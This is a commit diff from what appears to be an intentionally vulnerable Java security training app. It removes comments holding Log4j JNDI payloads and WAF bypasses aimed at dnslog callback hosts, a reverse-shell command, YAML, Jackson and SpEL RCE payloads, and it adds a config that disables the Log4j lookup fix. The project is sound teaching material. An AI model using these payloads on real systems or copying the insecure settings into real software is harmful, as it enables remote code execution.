Skip to content

Commit

Permalink
🍺 Java Sec
Browse files Browse the repository at this point in the history
j3ers3 committed Apr 29, 2022
1 parent 07f183b commit a06dc4c
Showing 19 changed files with 162 additions and 103 deletions.
1 change: 0 additions & 1 deletion src/main/java/com/best/hello/controller/Admin.java
Original file line number Diff line number Diff line change
@@ -18,7 +18,6 @@
@RequestMapping("/admin")
public class Admin {


@ApiOperation(value = "查询系统基本信息")
@GetMapping("/info")
@ResponseBody
Original file line number Diff line number Diff line change
@@ -33,7 +33,6 @@ public String vul(@RequestBody String content) {
JSONObject jsonToObject = JSON.parseObject(content);
log.info("[vul] Fastjson");

// 获取ob中name字段;
return jsonToObject.get("name").toString();

} catch (Exception e) {
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
package com.best.hello.controller.ComponentsVul;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import io.swagger.annotations.Api;
import org.springframework.web.bind.annotation.RequestBody;
@@ -12,17 +11,10 @@
@RequestMapping("/Jackson")
public class JacksonVul {

/**
*
* com.nqadmin.rowset.JdbcRowSetImpl类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。
* 可利用JDK版本:11.0.1、8u191、7u201、6u211之前
* 影响版本:2.0.0 <= FasterXML jackson-databind < 2.9.10.4
* pom引入版本低会报错,参考其他demo
*/
@RequestMapping("/vul")
public String vul(@RequestBody String content) {
try {
//String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
// String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Original file line number Diff line number Diff line change
@@ -17,18 +17,10 @@ public class Log4jVul {
* 原理:一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。
* 反弹shell: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,str_base64}|{base64,-d}|{bash,-i}" -A IP
*
* bypass waf
* content=${jndi:rmi://rmi.44qbby.dnslog.cn/a}
* content=${${::-j}ndi:rmi://mi.44qbby.dnslog.cn/ass}
* content=${${::-j}ndi:ldap://haha.44qbby.dnslog.cn/ass}
* content=${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nono1.44qbby.dnslog.cn/ass}
* content=${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://nono2.44qbby.dnslog.cn/ass}
*
* 修复:log4j2.formatMsgNoLookups=True,dnslog也就无回显了
*/
@PostMapping(value = "/vul")
public String vul(@RequestParam("q") String q) {
// ${jndi:ldap://lala.pvs999.ceye.io/test}
System.out.println(q);
logger.error(q);
return "Log4j2 JNDI Injection";
Original file line number Diff line number Diff line change
@@ -22,14 +22,6 @@ public class XMLDecoderVul {
* XMLDecoder 是JDK的一个对象转XML的工具。所以本质上 XMLEncoder 与 XMLDecoder 也是一种序列化(编码)与反序列化(解码)的操作。
* XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。在项目中应禁止使用XMLDecoder方式解析XML内容
* 在weblogic中多个包(wls-wast、wls9_async_response、_async)使用了该类
* <p>
* XML 标签属性介绍
* - java 标签:表示使用的 Java 版本信息 以及创建该 XML 文档所使用的类
* - object 标签:表示对象,class 指对象具体的类型
* - void 标签:表示函数调用、赋值等操作,method 指定具体的方法名称
* - int 标签:表示数值类型
* - string 标签:表示字符串
* - array 标签:表示数组,class 表示数组的类型,length 表示数组的长度,内部 void 标签的 index 属性表示数组的索引值
*/

public static void main(String[] args) {
Original file line number Diff line number Diff line change
@@ -12,13 +12,7 @@
@RequestMapping("/Deserialize/yaml")
public class YamlVul {

/**
* 常见场景:
* 远程服务器支持用户可以输入yaml格式的内容并且进行数据解析,没有做沙箱,黑名单之类的防控。(这种常见于云平台,如kubernetes
*
* @poc content=!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}
* @poc content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]
*/

@ApiOperation(value = "vul:SnakeYaml 反序列化漏洞", notes = "yaml是用来处理数据的,相对于xml和json来说较少见")
@PostMapping("/vul")
public void yaml(String content) {
2 changes: 1 addition & 1 deletion src/main/java/com/best/hello/controller/JNDI.java
Original file line number Diff line number Diff line change
@@ -23,7 +23,7 @@ public void vul(String content) {
log.info("[vul] JNDI注入:" + content);

try {
//String payload = "rmi://127.0.0.1:1099/beu8rp";
// String payload = "rmi://127.0.0.1:1099/beu8rp";
// lookup:通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。

Context ctx = new InitialContext();
2 changes: 2 additions & 0 deletions src/main/java/com/best/hello/controller/Login.java
Original file line number Diff line number Diff line change
@@ -21,6 +21,8 @@ public class Login {
@ApiOperation(value = "登录")
@RequestMapping("/user/login")
public String login(@RequestParam("username") String username, @RequestParam("password") String password, @RequestParam("captcha") String captcha, Model model, HttpSession session, HttpServletRequest request) {

// 验证码复用
if (!CaptchaUtil.ver(captcha, request)) {
CaptchaUtil.clear(request);
model.addAttribute("msg", "验证码不正确");
3 changes: 0 additions & 3 deletions src/main/java/com/best/hello/controller/RCE/LoadJsVul.java
Original file line number Diff line number Diff line change
@@ -28,9 +28,6 @@ public class LoadJsVul {
@GetMapping("/vul")
public String jsEngine(String url) {
try {
// 通过脚本名称获取
// ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
// 通过文件扩展名获取
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");

// Bindings:用来存放数据的容器
13 changes: 0 additions & 13 deletions src/main/java/com/best/hello/controller/RCE/RuntimeVul.java
Original file line number Diff line number Diff line change
@@ -53,17 +53,4 @@ public static void main(String[] args) {
}
}


@ApiOperation(value = "safe:这种方式不存在命令执行")
@RequestMapping("/safe")
public static void safe(String cmd) {
String test = ";echo 1 > 1.txt";
String Command = "ping 127.0.0.1" + test;

try {
Runtime.getRuntime().exec(Command);
} catch (IOException e) {
e.printStackTrace();
}
}
}
8 changes: 0 additions & 8 deletions src/main/java/com/best/hello/controller/RMI/Dog.java

This file was deleted.

26 changes: 0 additions & 26 deletions src/main/java/com/best/hello/controller/RMI/Server.java

This file was deleted.

10 changes: 0 additions & 10 deletions src/main/java/com/best/hello/controller/SSTI.java
Original file line number Diff line number Diff line change
@@ -49,16 +49,6 @@ public void getDocument(@PathVariable String document, HttpServletResponse respo
System.out.println("Retrieving " + document);
}

/*
* velocity模板引擎被是springboot2.0已经遗弃
*/
@GetMapping("/velocity")
public String velocity(Map map) {
map.put("message", "获取用户信息");
map.put("name", "张三");
map.put("age", "24");
return "velocity";
}


}
3 changes: 0 additions & 3 deletions src/main/java/com/best/hello/controller/SpEL.java
Original file line number Diff line number Diff line change
@@ -29,9 +29,6 @@
@RequestMapping("/SPEL")
public class SpEL {
/**
* 算数运算:http://127.0.0.1:8888/SPEL/vul?ex=100*2
* 对象实例化: http://127.0.0.1:8888/SPEL/vul?ex=new%20java.util.Date().getTime()
* T(Type): 使用“T(Type)”来表示java.lang.Class实例,同样,只有java.lang 下的类才可以省略包名
* 执行命令:http://127.0.0.1:8888/SPEL/vul?ex=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
*/
@GetMapping("/vul")
4 changes: 0 additions & 4 deletions src/main/java/com/best/hello/controller/Traversal.java
Original file line number Diff line number Diff line change
@@ -27,20 +27,16 @@ public class Traversal {
@ApiOperation(value = "vul:任意文件下载")
@GetMapping("/download")
public String download(String filename, HttpServletRequest request, HttpServletResponse response) {
// 下载的文件路径
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
log.info("[vul] 目录遍历:" + filePath);

// 使用流的形式下载文件
try {
// 加载文件
File file = new File(filePath);
InputStream fis = new BufferedInputStream(new FileInputStream(file));
byte[] buffer = new byte[fis.available()];
fis.read(buffer);
fis.close();

// 设置response的Header
response.reset();
response.addHeader("Content-Disposition", "attachment;filename=" + filename);
response.addHeader("Content-Length", "" + file.length());
1 change: 0 additions & 1 deletion src/main/java/com/best/hello/controller/Upload.java
Original file line number Diff line number Diff line change
@@ -18,7 +18,6 @@
@RequestMapping("/UPLOAD")
public class Upload {

// 设置保存文件的路径,不安全的web路径下
private static final String UPLOADED_FOLDER = System.getProperty("user.dir") + "/src/main/resources/static/file/";


150 changes: 150 additions & 0 deletions src/main/resources/ESAPI.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1,150 @@
ESAPI.printProperties=false

ESAPI.AccessControl=org.owasp.esapi.reference.DefaultAccessController
ESAPI.Authenticator=org.owasp.esapi.reference.FileBasedAuthenticator
ESAPI.Encoder=org.owasp.esapi.reference.DefaultEncoder
ESAPI.Encryptor=org.owasp.esapi.reference.crypto.JavaEncryptor
ESAPI.Executor=org.owasp.esapi.reference.DefaultExecutor
ESAPI.HTTPUtilities=org.owasp.esapi.reference.DefaultHTTPUtilities
ESAPI.IntrusionDetector=org.owasp.esapi.reference.DefaultIntrusionDetector
ESAPI.Logger=org.owasp.esapi.logging.slf4j.Slf4JLogFactory
ESAPI.Randomizer=org.owasp.esapi.reference.DefaultRandomizer
ESAPI.Validator=org.owasp.esapi.reference.DefaultValidator


#===========================================================================
# ESAPI Encoder
Encoder.AllowMultipleEncoding=false
Encoder.AllowMixedEncoding=false
Encoder.DefaultCodecList=HTMLEntityCodec,PercentCodec,JavaScriptCodec


#===========================================================================
# ESAPI ????
Encryptor.PreferredJCEProvider=
Encryptor.EncryptionAlgorithm=AES
Encryptor.CipherTransformation=AES/CBC/PKCS5Padding
Encryptor.cipher_modes.combined_modes=GCM,CCM,IAPM,EAX,OCB,CWC
Encryptor.cipher_modes.additional_allowed=CBC
Encryptor.EncryptionKeyLength=128
Encryptor.ChooseIVMethod=random
Encryptor.fixedIV=0x000102030405060708090a0b0c0d0e0f
Encryptor.CipherText.useMAC=true
Encryptor.PlainText.overwrite=true
Encryptor.HashAlgorithm=SHA-512
Encryptor.HashIterations=1024
Encryptor.DigitalSignatureAlgorithm=SHA1withDSA
Encryptor.DigitalSignatureKeyLength=1024
Encryptor.RandomAlgorithm=SHA1PRNG
Encryptor.CharacterEncoding=UTF-8
Encryptor.KDF.PRF=HmacSHA256

#===========================================================================
# ESAPI Http??

HttpUtilities.UploadDir=C:\\ESAPI\\testUpload
HttpUtilities.UploadTempDir=C:\\temp
# Force flags on cookies, if you use HttpUtilities to set cookies
HttpUtilities.ForceHttpOnlySession=false
HttpUtilities.ForceSecureSession=false
HttpUtilities.ForceHttpOnlyCookies=true
HttpUtilities.ForceSecureCookies=true
# Maximum size of HTTP headers
HttpUtilities.MaxHeaderSize=4096
# File upload configuration
HttpUtilities.ApprovedUploadExtensions=.zip,.pdf,.doc,.docx,.ppt,.pptx,.tar,.gz,.tgz,.rar,.war,.jar,.ear,.xls,.rtf,.properties,.java,.class,.txt,.xml,.jsp,.jsf,.exe,.dll
HttpUtilities.MaxUploadFileBytes=500000000
# Using UTF-8 throughout your stack is highly recommended. That includes your database driver,
# container, and any other technologies you may be using. Failure to do this may expose you
# to Unicode transcoding injection attacks. Use of UTF-8 does not hinder internationalization.
HttpUtilities.ResponseContentType=text/html; charset=UTF-8
# This is the name of the cookie used to represent the HTTP session
# Typically this will be the default "JSESSIONID"
HttpUtilities.HttpSessionIdName=JSESSIONID



#===========================================================================
# ESAPI Executor
Executor.WorkingDirectory=
Executor.ApprovedExecutables=


#===========================================================================
# ESAPI Logging
# Set the application name if these logs are combined with other applications
Logger.ApplicationName=ExampleApplication
# If you use an HTML log viewer that does not properly HTML escape log data, you can set LogEncodingRequired to true
Logger.LogEncodingRequired=false
# Determines whether ESAPI should log the application name. This might be clutter in some single-server/single-app environments.
Logger.LogApplicationName=true
# Determines whether ESAPI should log the server IP and port. This might be clutter in some single-server environments.
Logger.LogServerIP=true
# LogFileName, the name of the logging file. Provide a full directory path (e.g., C:\\ESAPI\\ESAPI_logging_file) if you
# want to place it in a specific directory.
Logger.LogFileName=ESAPI_logging_file
# MaxLogFileSize, the max size (in bytes) of a single log file before it cuts over to a new one (default is 10,000,000)
Logger.MaxLogFileSize=10000000


#===========================================================================
# ESAPI Intrusion Detection
IntrusionDetector.Disable=false
IntrusionDetector.event.test.count=2
IntrusionDetector.event.test.interval=10
IntrusionDetector.event.test.actions=disable,log

IntrusionDetector.org.owasp.esapi.errors.IntrusionException.count=1
IntrusionDetector.org.owasp.esapi.errors.IntrusionException.interval=1
IntrusionDetector.org.owasp.esapi.errors.IntrusionException.actions=log,disable,logout

IntrusionDetector.org.owasp.esapi.errors.IntegrityException.count=10
IntrusionDetector.org.owasp.esapi.errors.IntegrityException.interval=5
IntrusionDetector.org.owasp.esapi.errors.IntegrityException.actions=log,disable,logout

IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.count=2
IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.interval=10
IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.actions=log,logout


#===========================================================================
# ESAPI ???
#????????
Validator.ConfigurationFile=validation.properties

# Validators used by ESAPI
Validator.AccountName=^[a-zA-Z0-9]{3,20}$
Validator.SystemCommand=^[a-zA-Z\\-\\/]{1,64}$
Validator.RoleName=^[a-z]{1,20}$

#the word TEST below should be changed to your application
#name - only relative URL's are supported
Validator.Redirect=^\\/test.*$

# Global HTTP Validation Rules
# Values with Base64 encoded data (e.g. encrypted state) will need at least [a-zA-Z0-9\/+=]
Validator.HTTPScheme=^(http|https)$
Validator.HTTPServerName=^[a-zA-Z0-9_.\\-]*$
Validator.HTTPParameterName=^[a-zA-Z0-9_]{1,32}$
Validator.HTTPParameterValue=^[a-zA-Z0-9.\\-\\/+=@_ ]*$
Validator.HTTPCookieName=^[a-zA-Z0-9\\-_]{1,32}$
Validator.HTTPCookieValue=^[a-zA-Z0-9\\-\\/+=_ ]*$

# Note that max header name capped at 150 in SecurityRequestWrapper!
Validator.HTTPHeaderName=^[a-zA-Z0-9\\-_]{1,50}$
Validator.HTTPHeaderValue=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ ]*$
Validator.HTTPContextPath=^\\/?[a-zA-Z0-9.\\-\\/_]*$
Validator.HTTPServletPath=^[a-zA-Z0-9.\\-\\/_]*$
Validator.HTTPPath=^[a-zA-Z0-9.\\-_]*$
Validator.HTTPQueryString=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ %]*$
Validator.HTTPURI=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ ]*$
Validator.HTTPURL=^.*$
Validator.HTTPJSESSIONID=^[A-Z0-9]{10,30}$

# Validation of file related input
Validator.FileName=^[a-zA-Z0-9!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$
Validator.DirectoryName=^[a-zA-Z0-9:/\\\\!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$

# Validation of dates. Controls whether or not 'lenient' dates are accepted.
# See DataFormat.setLenient(boolean flag) for further details.
Validator.AcceptLenientDates=false
1 change: 1 addition & 0 deletions src/main/resources/log4j2.component.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
log4j2.formatMsgNoLookups=False
6 changes: 6 additions & 0 deletions src/main/resources/validation.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
Validator.SafeString=^[.\\p{Alnum}\\p{Space}]{0,1024}$
Validator.Email=^[A-Za-z0-9._%'-]+@[A-Za-z0-9.-]+\\.[a-zA-Z]{2,4}$
Validator.IPAddress=^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$
Validator.URL=^(ht|f)tp(s?)\\:\\/\\/[0-9a-zA-Z]([-.\\w]*[0-9a-zA-Z])*(:(0-9)*)*(\\/?)([a-zA-Z0-9\\-\\.\\?\\,\\:\\'\\/\\\\\\+=&amp;%\\$#_]*)?$
Validator.CreditCard=^(\\d{4}[- ]?){3}\\d{4}$
Validator.SSN=^(?!000)([0-6]\\d{2}|7([0-6]\\d|7[012]))([ -]?)(?!00)\\d\\d\\3(?!0000)\\d{4}$

0 comments on commit a06dc4c

Please sign in to comment.